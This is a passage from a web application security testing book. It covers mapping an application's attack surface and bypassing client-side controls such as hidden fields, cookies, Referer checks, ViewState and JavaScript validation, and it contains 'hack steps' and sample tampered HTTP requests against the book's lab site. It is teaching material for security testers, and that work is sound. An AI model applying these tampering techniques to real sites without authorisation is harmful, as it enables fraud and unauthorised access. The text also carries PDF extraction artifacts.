cases identified may prove useful at a later stage of the attack when you’re attempting to exploit any potential vulnerabilities. Isolating Unique Application Behavior Sometimes the situation is the opposite of that just described. In many well- secured or mature applications, a consistent framework is employed that pre- vents numerous types of attacks, such as cross-site scripting, SQL injection, and unauthorized access. In these cases, the most fruitful areas for hunting vulnerabilities generally are the portions of the application that have been added retrospectively, or “bolted on,” and hence are not handled by the application’s general security framework. Additionally, they may not be correctly tied into the application through authentication, session management, and access control. These are often identifi able through differences in GUI appearance, parameter naming conventions, or explicitly through comments in source code. HACK STEPS 1. Make a note of any functionality that diverges from the standard GUI appearance, parameter naming, or navigation mechanism used within the rest of the application. 2. Also make a note of functionality that is likely to have been added retro- spectively. Examples include debug functions, CAPTCHA controls, usage tracking, and third-party code. 3. Perform a full review of these areas, and do not assume that the standard defenses used elsewhere in the application apply. c04.indd 110c04.indd 110 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 111 Chapter 4 Mapping the Application 111 Mapping the Attack Surface The fi nal stage of the mapping process is to identify the various attack surfaces exposed by the application and the potential vulnerabilities that are commonly associated with each one. The following is a rough guide to some key types of behavior and functionality that you may identify, and the kinds of vulner- abilities that are most commonly found within each one. The remainder of this book is concerned with the practical details of how you can detect and exploit each of these problems: Client-side validation — Checks may not be replicated on the server Database interaction — SQL injection File uploading and downloading — Path traversal vulnerabilities, stored cross-site scripting Display of user-supplied data — Cross-site scripting Dynamic redirects — Redirection and header injection attacks Social networking features — username enumeration, stored cross-site scripting Login — Username enumeration, weak passwords, ability to use brute force Multistage login — Logic fl aws Session state — Predictable tokens, insecure handling of tokens Access controls — Horizontal and vertical privilege escalation User impersonation functions — Privilege escalation Use of cleartext communications — Session hijacking, capture of creden- tials and other sensitive data Off-site links — Leakage of query string parameters in the Referer header Interfaces to external systems — Shortcuts in the handling of sessions and/or access controls Error messages — Information leakage E-mail interaction — E-mail and/or command injection Native code components or interaction — Buffer overfl ows Use of third-party application components — Known vulnerabilities Identifi able web server software — Common confi guration weaknesses, known software bugs c04.indd 111c04.indd 111 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 112 112 Chapter 4 Mapping the Application Mapping the Extreme Internet Shopping Application Having mapped the content and functionality of the EIS application, many paths could be followed to attack the application, as shown in Figure 4-15. Figure 4-15: The attack surface exposed by the EIS application The /auth directory contains authentication functionality. A full review of all authentication functions, session handling, and access control is worthwhile, including further content discovery attacks. Within the /core path, the sitestats page appears to accept an array of param- eters delimited by the pipe character (|). As well as conventional input-based attacks, other values could be brute-forcible, such as source, location, and IP, in an attempt to reveal more information about other users or about the page specifi ed in pageID. It may also be possible to fi nd out information about c04.indd 112c04.indd 112 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 113 Chapter 4 Mapping the Application 113 inaccessible resources or to try a wildcard option in pageID, such as pageID=all or pageID=*. Finally, because the observed pageID value contains a slash, it may indicate a resource being retrieved from the fi le system, in which case path traversal attacks may be a possibility. The /gb path contains the site’s guestbook. Visiting this page suggests it is used as a discussion forum, moderated by an administrator. Messages are mod- erated, but the login bypass login=true means that an attacker can attempt to approve malicious messages (to deliver cross-site scripting attacks, for example) and read other users’ private messages to the administrator. The /home path appears to hold authenticated user content. This could make a good basis for attempts to launch a horizontal privilege escalation attack to access another user’s personal information and to ensure that access controls are present and enforced on every page. A quick review shows that the /icons and /images paths hold static content. It may be worth brute-forcing for icon names that could indicate third-party software, and checking for directory indexing on these directories, but they are unlikely to be worth signifi cant effort. The /pub path contains REST-style resources under /pub/media and /pub/ user. A brute-force attack could be used to fi nd the profi le pages of other appli- cation users by targeting the numeric value in /pub/user/11. Social networking functionality such as this can reveal user information, usernames, and other users’ logon status. The /shop path contains the online shopping site and has a large number of URLs. However, they all have a similar structure, and an attacker could probably probe all of the relevant attack surface by looking at just one or two items. The purchasing process may contain interesting logic fl aws that could be exploited to obtain unauthorized discounts or avoid payment. HACK STEPS 1. Understand the core functionality implemented within the application and the main security mechanisms in use. 2. Identify all features of the application’s functionality and behavior that are often associated with common vulnerabilities. 3. Check any third-party code against public vulnerability databases such as www.osvdb.org to determine any known issues. 4. Formulate a plan of attack, prioritizing the most interesting-looking func- tionality and the most serious of the associated potential vulnerabilities. c04.indd 113c04.indd 113 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 114 114 Chapter 4 Mapping the Application Summary Mapping the application is a key prerequisite to attacking it. It may be tempting to dive in and start probing for bugs, but taking time to gain a sound under- standing of the application’s functionality, technologies, and attack surface will pay dividends down the line. As with almost all of web application hacking, the most effective approach is to use manual techniques supplemented where appropriate by controlled automation. No fully automated tool can carry out a thorough mapping of the application in a safe way. To do this, you need to use your hands and draw on your own experience. The core methodology we have outlined involves the following: Manual browsing and user-directed spidering to enumerate the applica- tion’s visible content and functionality Use of brute force combined with human inference and intuition to dis- cover as much hidden content as possible An intelligent analysis of the application to identify its key functionality, behavior, security mechanisms, and technologies An assessment of the application’s attack surface, highlighting the most promising functions and behavior for more focused probing into exploit- able vulnerabilities Questions Answers can be found at http://mdsec.net/wahh. 1. While mapping an application, you encounter the following URL: https://wahh-app.com/CookieAuth.dll?GetLogon?curl=Z2Fdefault. aspx What information can you deduce about the technologies employed on the server and how it is likely to behave? 2. The application you are targeting implements web forum functionality. Here is the only URL you have discovered: http://wahh-app.com/forums/ucp.php?mode=register How might you obtain a listing of forum members? c04.indd 114c04.indd 114 8/19/2011 12:04:46 PM8/19/2011 12:04:46 PMStuttard c04.indd V3 - 07/22/2011 Page 115 Chapter 4 Mapping the Application 115 3. While mapping an application, you encounter the following URL: https://wahh-app.com/public/profile/Address. asp?action=view&location =default What information can you infer about server-side technologies? What can you conjecture about other content and functionality that may exist? 4. A web server’s responses include the following header: Server: Apache-Coyote/1.1 What does this indicate about the technologies in use on the server? 5. You are mapping two different web applications, and you request the URL /admin.cpf from each application. The response headers returned by each request are shown here. From these headers alone, what can you deduce about the presence of the requested resource within each application? HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Expires: Mon, 20 Jun 2011 14:59:21 GMT Content-Location: http://wahh- app.com/includes/error.htm?404;http://wahh-app.com/admin.cpf Date: Mon, 20 Jun 2011 14:59:21 GMT Content-Type: text/html Accept-Ranges: bytes Content-Length: 2117 HTTP/1.1 401 Unauthorized Server: Apache-Coyote/1.1 WWW-Authenticate: Basic realm=”Wahh Administration Site” Content-Type: text/html;charset=utf-8 Content-Length: 954 Date: Mon, 20 Jun 2011 15:07:27 GMT Connection: close c04.indd 115c04.indd 115 8/19/2011 12:04:47 PM8/19/2011 12:04:47 PMStuttard c04.indd V3 - 07/22/2011 Page 116 c04.indd 116c04.indd 116 8/19/2011 12:04:47 PM8/19/2011 12:04:47 PMStuttard c05.indd V3 - 07/22/2011 Page 117 117 CHAPTER 5 Bypassing Client-Side Controls Chapter 1 described how the core security problem with web applications arises because clients can submit arbitrary input. Despite this fact, a large proportion of web applications, nevertheless, rely on various measures implemented on the client side to control the data that they submit to the server. In general, this represents a fundamental security fl aw: the user has full control over the client and the data it submits and can bypass any controls that are implemented on the client side and are not replicated on the server. An application may rely on client-side controls to restrict user input in two broad ways. First, an application may transmit data via the client component using a mechanism that it assumes will prevent the user from modifying that data when the application later reads it. Second, an application may implement measures on the client side that control the user’s interaction with his or her own client, with the aim of restricting functionality and/or applying controls around user input before it is submitted. This may be achieved using HTML form features, client-side scripts, or browser extension technologies. This chapter looks at examples of each kind of client-side control and describes ways in which they can be bypassed. c05.indd 117c05.indd 117 8/19/2011 12:05:40 PM8/19/2011 12:05:40 PMStuttard c05.indd V3 - 07/22/2011 Page 118 118 Chapter 5 Bypassing Client-Side Controls Transmitting Data Via the Client It is common to see an application passing data to the client in a form that the end user cannot directly see or modify, with the expectation that this data will be sent back to the server in a subsequent request. Often, the application’s developers simply assume that the transmission mechanism used will ensure that the data transmitted via the client will not be modifi ed along the way. Because everything submitted from the client to the server is within the user’s control, the assumption that data transmitted via the client will not be modifi ed is usually false and often leaves the application vulnerable to one or more attacks. You may reasonably wonder why, if the server knows and specifi es a particular item of data, the application would ever need to transmit this value to the client and then read it back. In fact, writing applications in this way is often easier for developers for various reasons: It removes the need to keep track of all kinds of data within the user’s session. Reducing the amount of per-session data being stored on the server can also improve the application’s performance. If the application is deployed on several distinct servers, with users poten- tially interacting with more than one server to perform a multistep action, it may not be straightforward to share server-side data between the hosts that may handle the same user’s requests. Using the client to transmit data can be a tempting solution to the problem. If the application employs any third-party components on the server, such as shopping carts, modifying these may be diffi cult or impossible, so transmitting data via the client may be the easiest way of integrating these. In some situations, tracking a new piece of data on the server may entail updating a core server-side API, thereby triggering a full-blown formal change-management process and regression testing. Implementing a more piecemeal solution involving client-side data transmission may avoid this, allowing tight deadlines to be met. However, transmitting sensitive data in this way is usually unsafe and has been the cause of countless vulnerabilities in applications. Hidden Form Fields Hidden HTML form fi elds are a common mechanism for transmitting data via the client in a superfi cially unmodifi able way. If a fi eld is fl agged as hidden, it is not displayed on-screen. However, the fi eld’s name and value are stored within the form and are sent back to the application when the user submits the form. c05.indd 118c05.indd 118 8/19/2011 12:05:40 PM8/19/2011 12:05:40 PMStuttard c05.indd V3 - 07/22/2011 Page 119 Chapter 5 Bypassing Client-Side Controls 119 The classic example of this security fl aw is a retailing application that stores the prices of products within hidden form fi elds. In the early days of web appli- cations, this vulnerability was extremely widespread, and by no means has it been eliminated today. Figure 5-1 shows a typical form. Figure 5-1: A typical HTML form The code behind this form is as follows:
Product: iPhone 5
Price: 449
Quantity: (Maximum quantity is 50)
Notice the form fi eld called price, which is fl agged as hidden. This fi eld is sent to the server when the user submits the form: POST /shop/28/Shop.aspx?prod=1 HTTP/1.1 Host: mdsec.net Content-Type: application/x-www-form-urlencoded Content-Length: 20 quantity=1&price=449 TRY IT! http://mdsec.net/shop/28/ Although the price fi eld is not displayed on-screen, and the user cannot edit it, this is solely because the application has instructed the browser to hide the fi eld. Because everything that occurs on the client side is ultimately within the user’s control, this restriction can be circumvented to edit the price. One way to achieve this is to save the source code for the HTML page, edit the fi eld’s value, reload the source into a browser, and click the Buy button. However, an easier and more elegant method is to use an intercepting proxy to modify the desired data on-the-fl y. c05.indd 119c05.indd 119 8/19/2011 12:05:40 PM8/19/2011 12:05:40 PMStuttard c05.indd V3 - 07/22/2011 Page 120 120 Chapter 5 Bypassing Client-Side Controls An intercepting proxy is tremendously useful when attacking a web applica- tion and is the one truly indispensable tool you need. Numerous such tools are available. We will use Burp Suite, which was written by one of this book’s authors. The proxy sits between your web browser and the target application. It inter- cepts every request issued to the application, and every response received back, for both HTTP and HTTPS. It can trap any intercepted message for inspection or modifi cation by the user. If you haven’t used an intercepting proxy before, you can read more about how they function, and how to get them confi gured and working, in Chapter 20. Once an intercepting proxy has been installed and suitably confi gured, you can trap the request that submits the form and modify the price fi eld to any value, as shown in Figure 5-2. Figure 5-2: Modifying the values of hidden form fields using an intercepting proxy If the application processes the transaction based on the price submitted, you can purchase the product for the price of your choice. TIP If you fi nd an application that is vulnerable in this way, see whether you can submit a negative amount as the price. In some cases, applications have actually accepted transactions using negative prices. The attacker receives a refund to his credit card and also the item he ordered — a win-win situation, if ever there was one. c05.indd 120c05.indd 120 8/19/2011 12:05:40 PM8/19/2011 12:05:40 PMStuttard c05.indd V3 - 07/22/2011 Page 121 Chapter 5 Bypassing Client-Side Controls 121 HTTP Cookies Another common mechanism for transmitting data via the client is HTTP cook- ies. As with hidden form fi elds, normally these are not displayed on-screen, and the user cannot modify them directly. They can, of course, be modifi ed using an intercepting proxy, by changing either the server response that sets them or subsequent client requests that issue them. Consider the following variation on the previous example. After the customer has logged in to the application, she receives the following response: HTTP/1.1 200 OK Set-Cookie: DiscountAgreed=25 Content-Length: 1530 ... This DiscountAgreed cookie points to a classic case of relying on client-side controls (the fact that cookies normally can’t be modifi ed) to protect data trans- mitted via the client. If the application trusts the value of the DiscountAgreed cookie when it is submitted back to the server, customers can obtain arbitrary discounts by modifying its value. For example: POST /shop/92/Shop.aspx?prod=3 HTTP/1.1 Host: mdsec.net Cookie: DiscountAgreed=25 Content-Length: 10 quantity=1 TRY IT! http://mdsec.net/shop/92/ URL Parameters Applications frequently transmit data via the client using preset URL param- eters. For example, when a user browses the product catalog, the application may provide him with hyperlinks to URLs like the following: http://mdsec.net/shop/?prod=3&pricecode=32 When a URL containing parameters is displayed in the browser’s location bar, any parameters can be modifi ed easily by any user without the use of tools. However, in many instances an application may expect that ordinary users cannot view or modify URL parameters: Where embedded images are loaded using URLs containing parameters Where URLs containing parameters are used to load a frame’s contents c05.indd 121c05.indd 121 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 122 122 Chapter 5 Bypassing Client-Side Controls Where a form uses the POST method and its target URL contains preset parameters Where an application uses pop-up windows or other techniques to conceal the browser location bar Of course, in any such case the values of any URL parameters can be modifi ed as previously discussed using an intercepting proxy. The Referer Header Browsers include the Referer header within most HTTP requests. It is used to indicate the URL of the page from which the current request originated — either because the user clicked a hyperlink or submitted a form, or because the page referenced other resources such as images. Hence, it can be leveraged as a mechanism for transmitting data via the client. Because the URLs processed by the application are within its control, developers may assume that the Referer header can be used to reliably determine which URL generated a particular request. For example, consider a mechanism that enables users to reset their password if they have forgotten it. The application requires users to proceed through several steps in a defi ned sequence before they actually reset their password’s value with the following request: GET /auth/472/CreateUser.ashx HTTP/1.1 Host: mdsec.net Referer: https://mdsec.net/auth/472/Admin.ashx The application may use the Referer header to verify that this request origi- nated from the correct stage (Admin.ashx). If it did, the user can access the requested functionality. However, because the user controls every aspect of every request, including the HTTP headers, this control can be easily circumvented by proceeding directly to CreateUser.ashx and using an intercepting proxy to change the value of the Referer header to the value that the application requires. The Referer header is strictly optional according to w3.org standards. Hence, although most browsers implement it, using it to control application functional- ity should be regarded as a hack. TRY IT! http://mdsec.net/auth/472/ c05.indd 122c05.indd 122 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 123 Chapter 5 Bypassing Client-Side Controls 123 COMMON MYTH It is often assumed that HTTP headers are somehow more “tamper-proof” than other parts of the request, such as the URL. This may lead developers to implement functionality that trusts the values submitted in headers such as Cookie and Referer while performing proper validation of other data such as URL parameters. However, this perception is false. Given the multitude of intercepting proxy tools that are freely available, any amateur hacker who targets an application can change all request data with ease. It is rather like supposing that when the teacher comes to search your desk, it is safer to hide your water pistol in the bottom drawer, because she will need to bend down farther to discover it. HACK STEPS 1. Locate all instances within the application where hidden form fields, cookies, and URL parameters are apparently being used to transmit data via the client. 2. Attempt to determine or guess the role that the item plays in the applica- tion’s logic, based on the context in which it appears and on clues such as the parameter’s name. 3. Modify the item’s value in ways that are relevant to its purpose in the application. Ascertain whether the application processes arbitrary values submitted in the parameter, and whether this exposes the application to any vulnerabilities. Opaque Data Sometimes, data transmitted via the client is not transparently intelligible because it has been encrypted or obfuscated in some way. For example, instead of seeing a product’s price stored in a hidden fi eld, you may see a cryptic value being transmitted:
Product: Nokia Infinity
Price: 699
Quantity: (Maximum quantity is 50)
c05.indd 123c05.indd 123 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 124 124 Chapter 5 Bypassing Client-Side Controls When this is observed, you may reasonably infer that when the form is sub- mitted, the server-side application checks the integrity of the opaque string, or even decrypts or deobfuscates it to perform some processing on its plaintext value. This further processing may be vulnerable to any kind of bug. However, to probe for and exploit this, fi rst you need to wrap up your payload appropriately. TRY IT! http://mdsec.net/shop/48/ NOTE Opaque data items transmitted via the client are often part of the application’s session-handling mechanism. Session tokens sent in HTTP cook- ies, anti-CSRF tokens transmitted in hidden fi elds, and one-time URL tokens for accessing application resources, are all potential targets for client-side tampering. Numerous considerations are specifi c to these kinds of tokens, as discussed in depth in Chapter 7. HACK STEPS Faced with opaque data being transmitted via the client, several avenues of attack are possible: 1. If you know the value of the plaintext behind the opaque string, you can attempt to decipher the obfuscation algorithm being employed. 2. As described in Chapter 4, the application may contain functions else- where that you can leverage to return the opaque string resulting from a piece of plaintext you control. In this situation, you may be able to directly obtain the required string to deliver an arbitrary payload to the function you are targeting. 3. Even if the opaque string is impenetrable, it may be possible to replay its value in other contexts to achieve a malicious effect. For example, the pricing_token parameter in the previously shown form may contain an encrypted version of the product’s price. Although it is not possible to produce the encrypted equivalent for an arbitrary price of your choosing, you may be able to copy the encrypted price from a different, cheaper product and submit this in its place. 4. If all else fails, you can attempt to attack the server-side logic that will decrypt or deobfuscate the opaque string by submitting malformed varia- tions of it — for example, containing overlong values, different character sets, and the like. The ASP.NET ViewState One commonly encountered mechanism for transmitting opaque data via the client is the ASP.NET ViewState. This is a hidden fi eld that is created by default in all ASP.NET web applications. It contains serialized information about the c05.indd 124c05.indd 124 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 125 Chapter 5 Bypassing Client-Side Controls 125 state of the current page. The ASP.NET platform employs the ViewState to enhance server performance. It enables the server to preserve elements within the user interface across successive requests without needing to maintain all the relevant state information on the server side. For example, the server may populate a drop-down list on the basis of parameters submitted by the user. When the user makes subsequent requests, the browser does not submit the contents of the list back to the server. However, the browser does submit the hidden ViewState fi eld, which contains a serialized form of the list. The server deserializes the ViewState and recreates the same list that is presented to the user again. In addition to this core purpose of the ViewState, developers can use it to store arbitrary information across successive requests. For example, instead of saving the product’s price in a hidden form fi eld, an application may save it in the ViewState as follows: string price = getPrice(prodno); ViewState.Add(“price”, price); The form returned to the user now looks something like this:
Product: HTC Avalanche
Price: 399
Quantity: (Maximum quantity is 50)
When the user submits the form, her browser sends the following: POST /shop/76/Shop.aspx?prod=3 HTTP/1.1 Host: mdsec.net Content-Type: application/x-www-form-urlencoded Content-Length: 77 __VIEWSTATE=%2FwEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA%3D%3D& quantity=1 The request apparently does not contain the product price — only the quan- tity ordered and the opaque ViewState parameter. Changing that parameter at random results in an error message, and the purchase is not processed. The ViewState parameter is actually a Base64-encoded string that can be easily decoded to see the price parameter that has been placed there: 3D FF 01 0F 0F 05 0B 2D 31 35 38 37 31 36 39 30 ; =ÿ.....-15871690 36 32 0F 16 02 1E 05 70 72 69 63 65 05 03 33 39 ; 62.....price..39 39 64 64 ; 9dd c05.indd 125c05.indd 125 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 126 126 Chapter 5 Bypassing Client-Side Controls TIP When you attempt to decode what appears to be a Base64-encoded string, a common mistake is to begin decoding at the wrong position within the string. Because of how Base64 encoding works, if you start at the wrong posi- tion, the decoded string will contain gibberish. Base64 is a block-based format in which every 4 bytes of encoded data translates into 3 bytes of decoded data. Hence, if your attempts to decode a Base64 string do not uncover anything meaningful, try starting from four adjacent offsets into the encoded string. By default, the ASP.NET platform protects the ViewState from tampering by adding a keyed hash to it (known as MAC protection). However, some applications disable this default protection, meaning that you can modify the ViewState’s value to determine whether it has an effect on the application’s server-side processing. Burp Suite includes a ViewState parser that indicates whether the ViewState is MAC protected, as shown in Figure 5-3. If it is not protected, you can edit the contents of the ViewState within Burp using the hex editor below the ViewState tree. When you send the message to the server or client, Burp sends your updated ViewState, and, in the present example, enables you to change the price of the item being purchased. Figure 5-3: Burp Proxy can decode and render the ViewState, allowing you to review its contents and edit these if the EnableViewStateMac option is not set c05.indd 126c05.indd 126 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 127 Chapter 5 Bypassing Client-Side Controls 127 TRY IT! http://mdsec.net/shop/76/ HACK STEPS 1. If you are attacking an ASP.NET application, verify whether MAC protec- tion is enabled for the ViewState. This is indicated by the presence of a 20-byte hash at the end of the ViewState structure, and you can use the ViewState parser in Burp Suite to confirm whether this is present. 2. Even if the ViewState is protected, use Burp to decode the ViewState on various application pages to discover whether the application is using the ViewState to transmit any sensitive data via the client. 3. Try to modify the value of a specific parameter within the ViewState without interfering with its structure, and see whether an error message results. 4. If you can modify the ViewState without causing errors, you should review the function of each parameter within the ViewState and see whether the application uses it to store any custom data. Try to submit crafted values as each parameter to probe for common vulner- abilities, as you would for any other item of data being transmitted via the client. 5. Note that MAC protection may be enabled or disabled on a per-page basis, so it may be necessary to test each significant page of the applica- tion for ViewState hacking vulnerabilities. If you are using Burp Scanner with passive scanning enabled, Burp automatically reports any pages that use the ViewState without MAC protection enabled. Capturing User Data: HTML Forms The other principal way in which applications use client-side controls to restrict data submitted by clients occurs with data that was not originally specifi ed by the server but that was gathered on the client computer itself. HTML forms are the simplest and most common way to capture input from the user and submit it to the server. With the most basic uses of this method, users type data into named text fi elds, which are submitted to the server as name/value pairs. However, forms can be used in other ways; they can impose restrictions or perform validation checks on the user-supplied data. When an c05.indd 127c05.indd 127 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 128 128 Chapter 5 Bypassing Client-Side Controls application employs these client-side controls as a security mechanism to defend itself against malicious input, the controls can usually be easily circumvented, leaving the application potentially vulnerable to attack. Length Limits Consider the following variation on the original HTML form, which imposes a maximum length of 1 on the quantity fi eld:
Product: iPhone 5
Price: 449
Quantity:
Here, the browser prevents the user from entering more than one character into the input fi eld, so the server-side application may assume that the quantity parameter it receives will be less than 10. However, this restriction can easily be circumvented either by intercepting the request containing the form submission to enter an arbitrary value, or by intercepting the response containing the form to remove the maxlength attribute. INTERCEPTING RESPONSES When you attempt to intercept and modify server responses, you may fi nd that the relevant message displayed in your proxy looks like this: HTTP/1.1 304 Not Modified Date: Wed, 6 Jul 2011 22:40:20 GMT Etag: “6c7-5fcc0900” Expires: Thu, 7 Jul 2011 00:40:20 GMT Cache-Control: max-age=7200 This response arises because the browser already possesses a cached copy of the resource it requested. When the browser requests a cached resource, it typically adds two headers to the request — If-Modified-Since and If-None-Match: GET /scripts/validate.js HTTP/1.1 Host: wahh-app.com If-Modified-Since: Sat, 7 Jul 2011 19:48:20 GMT If-None-Match: “6c7-5fcc0900” These headers tell the server when the browser last updated its cached copy. The Etag string, which the server provided with that copy of the resource, is a kind of serial number that the server assigns to each cacheable resource. c05.indd 128c05.indd 128 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 129 Chapter 5 Bypassing Client-Side Controls 129 It updates each time the resource is modifi ed. If the server possesses a newer version of the resource than the date specifi ed in the If-Modified-Since header, or if the Etag of the current version matches the one specifi ed in the If-None-Match header, the server responds with the latest version of the resource. Otherwise, it returns a 304 response, as shown here, informing the browser that the resource has not been modifi ed and that the browser should use its cached copy. When this occurs, and you need to intercept and modify the resource that the browser has cached, you can intercept the relevant request and remove the If-Modified-Since and If-None-Match headers. This causes the server to respond with the full version of the requested resource. Burp Proxy con- tains an option to strip these headers from every request, thereby overriding all cache information sent by the browser. HACK STEPS 1. Look for form elements containing a maxlength attribute. Submit data that is longer than this length but that is formatted correctly in other respects (for example, it is numeric if the application expects a number). 2. If the application accepts the overlong data, you may infer that the client- side validation is not replicated on the server. 3. Depending on the subsequent processing that the application performs on the parameter, you may be able to leverage the defects in validation to exploit other vulnerabilities, such as SQL injection, cross-site scripting, or buffer overflows. Script-Based Validation The input validation mechanisms built into HTML forms themselves are extremely simple and are insuffi ciently fi ne-grained to perform relevant validation of many kinds of input. For example, a user registration form might contain fi elds for name, e-mail address, telephone number, and zip code, all of which expect different types of input. Therefore, it is common to see customized client-side input validation implemented within scripts. Consider the following variation on the original example:
Product: Samsung Multiverse
Price: 399
c05.indd 129c05.indd 129 8/19/2011 12:05:41 PM8/19/2011 12:05:41 PMStuttard c05.indd V3 - 07/22/2011 Page 130 130 Chapter 5 Bypassing Client-Side Controls Quantity: (Maximum quantity is 50)
TRY IT! http://mdsec.net/shop/139/ The onsubmit attribute of the form tag instructs the browser to execute the ValidateForm function when the user clicks the Submit button, and to submit the form only if this function returns true. This mechanism enables the client- side logic to intercept an attempted form submission, perform customized validation checks on the user’s input, and decide whether to accept that input. In the preceding example, the validation is simple; it checks whether the data entered in the amount fi eld is an integer and is between 1 and 50. Client-side controls of this kind are usually easy to circumvent. Usually it is suffi cient to disable JavaScript within the browser. If this is done, the onsubmit attribute is ignored, and the form is submitted without any custom validation. However, disabling JavaScript may break the application if it depends on client-side scripting for its normal operation (such as constructing parts of the user interface). A neater approach is to enter a benign (known good) value into the input fi eld in the browser, intercept the validated submission with your proxy, and modify the data to your desired value. This is often the easiest and most elegant way to defeat JavaScript-based validation. Alternatively, you can intercept the server’s response that contains the JavaScript validation routine and modify the script to neutralize its effect — in the previous example, by changing the ValidateForm function to return true in every case. c05.indd 130c05.indd 130 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 131 Chapter 5 Bypassing Client-Side Controls 131 HACK STEPS 1. Identify any cases where client-side JavaScript is used to perform input validation prior to form submission. 2. Submit data to the server that the validation ordinarily would have blocked, either by modifying the submission request to inject invalid data or by modifying the form validation code to neutralize it. 3. As with length restrictions, determine whether the client-side controls are replicated on the server and, if not, whether this can be exploited for any malicious purpose. 4. Note that if multiple input fields are subjected to client-side validation prior to form submission, you need to test each field individually with invalid data while leaving valid values in all the other fields. If you submit invalid data in multiple fields simultaneously, the server might stop pro- cessing the form when it identifies the first invalid field. Therefore, your testing won’t reach all possible code paths within the application. NOTE Client-side JavaScript routines to validate user input are common in web applications, but do not conclude that every such application is vulner- able. The application is exposed only if client-side validation is not replicated on the server, and even then only if crafted input that circumvents client-side validation can be used to cause some undesirable behavior by the application. In the majority of cases, client-side validation of user input has benefi cial effects on the application’s performance and the quality of the user experience. For example, when fi lling out a detailed registration form, an ordinary user might make various mistakes, such as omitting required fi elds or formatting his tele- phone number incorrectly. In the absence of client-side validation, correcting these mistakes may entail several reloads of the page and round-trip messages to the server. Implementing basic validation checks on the client side makes the user’s experience much smoother and reduces the load on the server. Disabled Elements If an element on an HTML form is fl agged as disabled, it appears on-screen but is usually grayed out and cannot be edited or used in the way an ordinary control can be. Also, it is not sent to the server when the form is submitted. For example, consider the following form:
Product: Blackberry Rude
Price: c05.indd 131c05.indd 131 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 132 132 Chapter 5 Bypassing Client-Side Controls
Quantity: (Maximum quantity is 50)
This includes the price of the product as a disabled text fi eld and appears on-screen as shown in Figure 5-4. Figure 5-4: A form containing a disabled input field When this form is submitted, only the quantity parameter is sent to the server. However, the presence of a disabled fi eld suggests that a price parameter may originally have been used by the application, perhaps for testing purposes during development. This parameter would have been submitted to the server and may have been processed by the application. In this situation, you should defi nitely test whether the server-side application still processes this parameter. If it does, seek to exploit this fact. TRY IT! http://mdsec.net/shop/104/ HACK STEPS 1. Look for disabled elements within each form of the application. Whenever you find one, try submitting it to the server along with the form’s other parameters to determine whether it has any effect. 2. Often, submit elements are flagged as disabled so that buttons appear as grayed out in contexts when the relevant action is unavailable. You should always try to submit the names of these elements to determine whether the application performs a server-side check before attempting to carry out the requested action. c05.indd 132c05.indd 132 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 133 Chapter 5 Bypassing Client-Side Controls 133 3. Note that browsers do not include disabled form elements when forms are submitted. Therefore, you will not identify these if you simply walk through the application’s functionality, monitoring the requests issued by the browser. To identify disabled elements, you need to monitor the server’s responses or view the page source in your browser. 4. You can use the HTML modification feature in Burp Proxy to automatically re-enable any disabled fields used within the application. Capturing User Data: Browser Extensions Besides HTML forms, the other main method for capturing, validating, and submitting user data is to use a client-side component that runs in a browser extension, such as Java or Flash. When fi rst employed in web applications, browser extensions were often used to perform simple and often cosmetic tasks. Now, companies are increasingly using browser extensions to create fully functional client-side components. These run within the browser, across multiple client platforms, and provide feedback, fl exibility, and handling of a desktop appli- cation. A side effect is that processing tasks that previously would have taken place on the server may be offl oaded onto the client for reasons of speed and user experience. In some cases, such as online trading applications, speed is so critical that much of the key application logic takes place on the client side. The application design may deliberately sacrifi ce security in favor of speed, perhaps in the mistaken belief that traders are trusted users, or that the browser exten- sion includes its own defenses. Recalling the core security problem discussed in Chapter 2, and the earlier sections of this chapter, we know that the concept of a client-side component defending its business logic is impossible. Browser extensions can capture data in various ways — via input forms and in some cases by interacting with the client operating system’s fi lesystem or registry. They can perform arbitrarily complex validation and manipula- tion of captured data before submission to the server. Furthermore, because their internal workings are less transparent than HTML forms and JavaScript, developers are more likely to assume that the validation they perform cannot be circumvented. For this reason, browser extensions are often a fruitful target for discovering vulnerabilities within web applications. A classic example of a browser extension that applies controls on the client side is a casino component. Given what we have observed about the fallible nature of client-side controls, the idea of implementing an online gambling application using a browser extension that runs locally on a potential attacker’s c05.indd 133c05.indd 133 8/19/2011 12:05:42 PM8/19/2011 12:05:42 PMStuttard c05.indd V3 - 07/22/2011 Page 134 134 Chapter 5 Bypassing Client-Side Controls machine is intriguing. If any aspect of the game play is controlled within the client instead of by the server, an attacker could manipulate the game with precision to improve the odds, change the rules, or alter the scores submitted to the server. Several kinds of attacks could occur in this scenario: The client component could be trusted to maintain the game state. In this instance, local tampering with the game state would give an attacker an advantage in the game. An attacker could bypass a client-side control and perform an illegal action designed to give himself an advantage within the game. An attacker could fi nd a hidden function, parameter, or resource that, when invoked, allows illegitimate access to a server-side resource. If the game involves any peers, or a house player, the client component could be receiving and processing information about other players that, if known, could be used to the attacker’s advantage. Common Browser Extension Technologies The browser extension technologies you are most likely to encounter are Java applets, Flash, and Silverlight. 